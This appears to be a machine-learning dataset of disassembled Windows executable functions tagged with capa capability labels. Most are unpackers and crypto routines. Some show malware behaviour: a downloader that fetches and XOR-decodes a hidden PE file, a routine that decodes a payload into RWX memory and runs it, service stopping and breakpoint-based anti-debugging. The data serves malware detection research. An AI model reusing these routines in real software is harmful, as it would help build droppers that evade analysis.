joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409520
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x409542
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x409549
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x409538
mov eax, 1
add ebx, ebx
jne 0x40955b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x409550
jne 0x40956c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x409550
xor ecx, ecx
sub eax, 3
jb 0x409580
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4095f2
mov ebp, eax
add ebx, ebx
jne 0x40958b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x409598
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4095bc
inc ecx
add ebx, ebx
jne 0x4095a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40959d
jne 0x4095b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40959d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4095dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4095cd
jmp 0x40953e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4095dc
add edi, ecx
jmp 0x40953e
pop esi
mov edi, esi
mov ecx, 0x1b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4095fa
cmp byte [edi], 1
jne 0x4095fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4095ff
lea edi, [esi + 0x7000]
mov eax, dword [edi]
or eax, eax
je 0x40966e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xba94]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbaec]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40962c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbaf4]
or eax, eax
je 0x409668
mov dword [ebx], eax
add ebx, 4
jmp 0x409649
call dword [esi + 0xbaf0]
mov ebp, dword [esi + 0xbaf8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4096a2
sub esp, 0xffffff80
jmp 0x401680
Function at 0x77ba3bf0
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.77ba4a30
mov dword [ebp - 0x14], ecx
xor eax, eax
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1014], bl
mov ecx, 0x3ff
lea edi, [ebp - 0x1013]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
mov esi, edx
push 0x77ba3b40
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
xor ecx, ecx
mov dword [ebp - 4], eax
cmp eax, ecx
je 0x77ba3d2c
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp - 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x77ba3d23
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x10], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x77ba3d13
cmp dword [ebp - 0xc], 0xc8
jne 0x77ba3d13
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1014]
push 0x1000
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x77ba3d13
cmp ebx, dword [ebp + 8]
ja 0x77ba3d13
cmp dword [ebp - 8], 0
je 0x77ba3ccd
push dword [ebp - 8]
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
jmp 0x77ba3c8c
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x77ba3ceb
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
pop eax
jmp 0x77ba3d2e
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 4]
call esi
jmp 0x77ba3d2c
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x77ba4047
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, edx
push esi
test eax, eax
push edi
je 0x77ba40fb
cmp dword [0x77ba4a8c], 0
jne 0x77ba40f7
mov ecx, 0x40000
mov dword [0x77ba4a8c], 1
call fcn.77ba4888
test eax, eax
mov dword [0x77ba4a90], eax
je 0x77ba40f7
mov esi, 0x50ea
mov ecx, esi
call fcn.77ba4888
mov edi, eax
test edi, edi
je 0x77ba40f7
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
mov ecx, 0x77ba10c0
add esp, 0xc
mov eax, edi
sub ecx, edi
mov esi, 0x2875
mov dl, byte [ecx + eax]
xor dl, 0xba
mov byte [eax], dl
inc eax
dec esi
jne 0x77ba40ae
mov esi, dword [0x77ba4a90]
lea eax, [ebp - 8]
push eax
mov edx, esi
mov ecx, edi
call fcn.77ba3d8c
test eax, eax
jne 0x77ba40da
mov ecx, esi
call fcn.77ba4899
jmp 0x77ba40f7
mov ecx, edi
call fcn.77ba4899
lea edx, [ebp - 4]
mov ecx, esi
call fcn.77ba3ef9
mov eax, dword [ebp - 4]
push 0
push 1
push esi
add eax, esi
call eax
xor eax, eax
jmp 0x77ba4112
mov eax, dword [0x77ba4a90]
test eax, eax
je 0x77ba410f
mov edx, ecx
mov ecx, eax
call fcn.77ba3f86
jmp 0x77ba4112
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x77ba4275
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push esi
push 0xf01ff
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x77ba42a7
lea eax, [esp + 4]
push edi
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x77ba4888
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret
Function at 0xfde058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00fde1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xfde07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfde06a
add dl, dl
jne 0xfde089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfde0dc
xor eax, eax
add dl, dl
jne 0xfde096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfde17d
add dl, dl
jne 0xfde0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfde0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfde0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfde0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xfde0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xfde075
mov eax, 1
add dl, dl
jne 0xfde0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfde0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfde0e1
sub eax, ebx
mov ebx, 1
jne 0xfde128
mov ecx, 1
add dl, dl
jne 0xfde10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xfde119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfde105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfde075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xfde13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xfde14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfde136
cmp eax, 0x7d00
jae 0xfde16d
cmp eax, 0x500
jb 0xfde168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfde075
cmp eax, 0x7f
ja 0xfde170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfde075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xfde19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xfde075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422004]
jne 0x40100a
repz ret
jmp fcn.00401587

Function at 0x40444b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x422004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00401e3b
and dword [ebp - 0x14], 0
cmp dword [0x4249e8], 0
mov dword [ebp - 0x18], eax
jne 0x4044fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4045a6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4045a6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4249e8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4249ec], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4249f0], eax
call edi
push eax
call esi
mov dword [0x4249f8], eax
test eax, eax
je 0x4044fe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4249f4], eax
mov eax, dword [0x4249f4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x404557
cmp dword [0x4249f8], ecx
je 0x404557
push eax
call esi
push dword [0x4249f8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404557
test ebx, ebx
je 0x404557
call edi
test eax, eax
je 0x40454e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40454e
test byte [ebp - 8], 1
jne 0x404557
or dword [ebp + 0x10], 0x200000
jmp 0x40458a
mov eax, dword [0x4249ec]
cmp eax, dword [ebp - 0x18]
je 0x40458a
push eax
call esi
test eax, eax
je 0x40458a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40458a
mov eax, dword [0x4249f0]
cmp eax, dword [ebp - 0x18]
je 0x40458a
push eax
call esi
test eax, eax
je 0x40458a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4249e8]
call esi
test eax, eax
je 0x4045a6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4045a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x401860
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40186a
repz ret
jmp fcn.00401b91

Function at 0x417f50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x14000]
push edi
jmp 0x417f6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x417f71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x417f60
mov eax, 1
add ebx, ebx
jne 0x417f83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x417f78
jne 0x417f94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417f78
xor ecx, ecx
sub eax, 3
jb 0x417fa8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41801a
mov ebp, eax
add ebx, ebx
jne 0x417fb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x417fc0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x417fe4
inc ecx
add ebx, ebx
jne 0x417fd0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x417fc5
jne 0x417fe1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417fc5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x418004
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x417ff5
jmp 0x417f66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x418004
add edi, ecx
jmp 0x417f66
pop esi
mov edi, esi
mov ecx, 0x5f3c
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x41803f
cmp byte [edi], 3
jne 0x418024
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x418022
lea edi, [esi + 0x15000]
mov eax, dword [edi]
or eax, eax
je 0x418090
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18078]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x418045
mov ecx, edi
jns 0x418074
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1807c]
or eax, eax
je 0x41808a
mov dword [ebx], eax
add ebx, 4
jmp 0x418062
call dword [esi + 0x1808c]
mov ebp, dword [esi + 0x18080]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4180c4
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x404b98
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x45ea00]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x404ba4
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x404be8
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x404bc5
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x404c07
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x404c9f
inc edx
and edx, 0x800000ff
jns 0x404c41
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x404c5a
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x404c8d
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x404c30
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40bb7a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40bcb0
cmp byte [edi + 0x3d], bl
je 0x40bcb0
call fcn.00403659
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
call fcn.00409a94
pop ecx
pop ecx
test al, al
je 0x40bbcf
xor al, al
jmp 0x40bcb2
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00402d3e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.00402f04
mov ecx, eax
call fcn.004038aa
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00402c10
add esi, eax
lea ecx, [esp + 0x24]
push esi
lea eax, [esp + 0x14]
push eax
call fcn.00402f04
mov ecx, eax
call fcn.004038aa
mov ecx, dword [edi + 0x38]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.00409e46
sub eax, ebx
je 0x40bc37
sub eax, 1
je 0x40bc3a
dec eax
sub eax, 1
jne 0x40bca3
inc eax
jmp 0x40bca1
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.00402f04
mov ecx, eax
call fcn.004038aa
mov esi, dword [esp + 0x14]
sub esi, eax
je 0x40bc7f
push dword [edi + 0x4c]
lea eax, [esp + 0x20]
push esi
push 1
push eax
lea ecx, [esp + 0x30]
call fcn.00402f04
mov ecx, eax
call fcn.004038aa
push eax
call fcn.00433cf5
add esp, 0x10
cmp esi, eax
jne 0x40bc9f
cmp byte [edi + 0x3d], bl
je 0x40bc9d
test esi, esi
jne 0x40bbdb
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00406e29
jmp 0x40bbdb
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.00402c81
mov al, bl
jmp 0x40bcb2
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419efb
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x419f26
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x419f26
cmp al, 0xc0
je 0x419f26
cmp al, 0xcc
je 0x419f26
add edx, 2
cmp dx, cx
jb 0x419f0b
pop esi
ret

Function at 0x41c95b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, edx
mov edx, dword [ebp + 0xc]
lea esi, [edi + 4]
push esi
call fcn.0041c8f5
mov edx, dword [ebp + 8]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x41c977
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x41c985
pop edi
pop esi
pop ebp
ret

Function at 0x41ea62
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x41ea7c
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x41ea6f
pop esi
pop ebp
ret

Function at 0x41ea7f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, ecx
or eax, edx
push esi
mov esi, dword [ebp + 8]
or eax, esi
test al, 3
jne 0x41ea9c
shr esi, 2
push esi
call fcn.0041ea62
pop ecx
jmp 0x41eaad
test esi, esi
je 0x41eaad
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x41eaa2
pop esi
pop ebp
ret

Function at 0x41eab0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x41ead6
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x41eac5
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x42686b
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
test edi, edi
je 0x426964
cmp dword [ebp + 8], 0
mov esi, dword [ebp + 0xc]
jne 0x42688d
test esi, esi
jne 0x426964
cmp edx, 3
je 0x4268c3
cmp edx, 4
je 0x4268c3
cmp edx, 5
je 0x4268c3
cmp edx, 6
je 0x4268c3
cmp edx, 7
je 0x4268c3
cmp edx, 8
je 0x4268c3
cmp edx, 0xa
je 0x4268c3
cmp edx, 0xb
je 0x4268c3
cmp edx, 0xc
je 0x4268c3
cmp edx, 0xd
jne 0x426964
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.0042684e
mov dword [ebp - 4], eax
pop ecx
test eax, eax
jne 0x426969
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0x426964
cmp esi, 0x40
ja 0x426908
cmp dword [ebp + 8], ebx
je 0x42692f
push esi
push dword [ebp + 8]
push ecx
call fcn.0042ed50
add esp, 0xc
jmp 0x42692c
mov edx, dword [ebp + 8]
mov ecx, edi
push esi
call fcn.0042b4ac
pop ecx
test eax, eax
jne 0x426969
lea edx, [edi + 0x70]
mov ecx, edi
call fcn.0042b57d
mov dword [ebp - 4], eax
test eax, eax
jne 0x426969
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0x426947
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.0042e7e0
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0x426947
mov eax, dword [ebp - 4]
jmp 0x426969
mov eax, 0xffffff53
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42adfb
Capabilities:
Hash data using sha256

Disassembly:
mov edx, ecx
test edx, edx
jne 0x42adaf
mov eax, 0xffffff53
ret
push edi
push 8
xor eax, eax
mov edi, edx
pop ecx
rep stosd dword es:[edi], eax
mov dword [edx], 0x6a09e667
mov dword [edx + 4], 0xbb67ae85
mov dword [edx + 8], 0x3c6ef372
mov dword [edx + 0xc], 0xa54ff53a
mov dword [edx + 0x10], 0x510e527f
mov dword [edx + 0x14], 0x9b05688c
mov dword [edx + 0x18], 0x1f83d9ab
mov dword [edx + 0x1c], 0x5be0cd19
mov dword [edx + 0x60], eax
mov dword [edx + 0x64], eax
mov dword [edx + 0x68], eax
pop edi
ret
test ecx, ecx
jne 0x42ae05
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0x42ada3
Function at 0x42b4d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x42b4de
mov eax, 0xffffff53
pop esi
ret
mov eax, dword [esi + 0x60]
push ebx
push edi
lea edi, [esi + 0x20]
mov byte [edi + eax], 0x80
inc dword [esi + 0x60]
mov ecx, dword [esi + 0x60]
push 0x38
pop ebx
cmp ecx, ebx
jbe 0x42b52b
push 0x40
pop eax
sub eax, ecx
push eax
lea eax, [ecx + edi]
push 0
push eax
call fcn.0042e7e0
push 0x40
pop eax
push eax
mov edx, edi
mov dword [esi + 0x60], eax
mov ecx, edi
call fcn.0042ad76
add esp, 0x10
mov edx, edi
mov ecx, esi
call fcn.0042ae0d
test eax, eax
jne 0x42b579
and dword [esi + 0x60], eax
mov eax, dword [esi + 0x60]
sub ebx, eax
push ebx
add eax, edi
push 0
push eax
call fcn.0042e7e0
mov ecx, dword [esi + 0x64]
mov edx, edi
mov eax, dword [esi + 0x68]
shr ecx, 0x1d
push 0x40
lea eax, [ecx + eax*8]
mov ecx, edi
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x64]
shl eax, 3
mov dword [esi + 0x64], eax
call fcn.0042ad76
mov eax, dword [esi + 0x68]
add esp, 0x10
mov dword [edi + 0x38], eax
mov edx, edi
mov eax, dword [esi + 0x64]
mov ecx, esi
mov dword [edi + 0x3c], eax
pop edi
pop ebx
pop esi
jmp fcn.0042ae0d
pop edi
pop ebx
pop esi
ret

Function at 0x42b57d
Capabilities:
Hash data using sha256

Disassembly:
push ebx
mov ebx, ecx
push edi
mov edi, edx
test ebx, ebx
je 0x42b5b2
test edi, edi
je 0x42b5b2
call fcn.0042b4d0
test eax, eax
jne 0x42b5b7
push esi
push 0x20
mov edx, ebx
mov ecx, ebx
call fcn.0042ad76
pop ecx
push 8
pop ecx
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop esi
pop edi
mov ecx, ebx
pop ebx
jmp 0x42ada3
mov eax, 0xffffff53
pop edi
pop ebx
ret

Function at 0x42b66c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, edx
mov esi, ecx
neg eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], eax
test esi, esi
je 0x42b709
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x42b709
mov edx, dword [esi]
mov ecx, ebx
inc edx
call fcn.00426fb9
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x42b70e
xor edx, edx
push edi
cmp dword [esi], edx
jle 0x42b6ce
mov edi, dword [ebx + 0xc]
mov ecx, esi
call fcn.0042b656
mov ecx, ebx
mov esi, eax
call fcn.0042b656
mov ecx, dword [ebp - 4]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
mov esi, dword [ebp - 8]
cmp edx, dword [esi]
jl 0x42b6a7
jmp 0x42b6f4
mov ecx, dword [ebp - 4]
jmp 0x42b6f4
mov edi, dword [ebx + 0xc]
mov ecx, esi
call fcn.0042b656
mov ecx, ebx
mov esi, eax
call fcn.0042b656
mov ecx, dword [ebp - 4]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
mov esi, dword [ebp - 8]
cmp edx, dword [ebx]
jl 0x42b6d3
mov eax, dword [ebp - 8]
pop edi
mov eax, dword [eax]
xor eax, dword [ebx]
and eax, ecx
xor dword [ebx], eax
mov eax, dword [ebp - 0xc]
jmp 0x42b70e
mov eax, 0xffffff53
pop esi
pop ebx
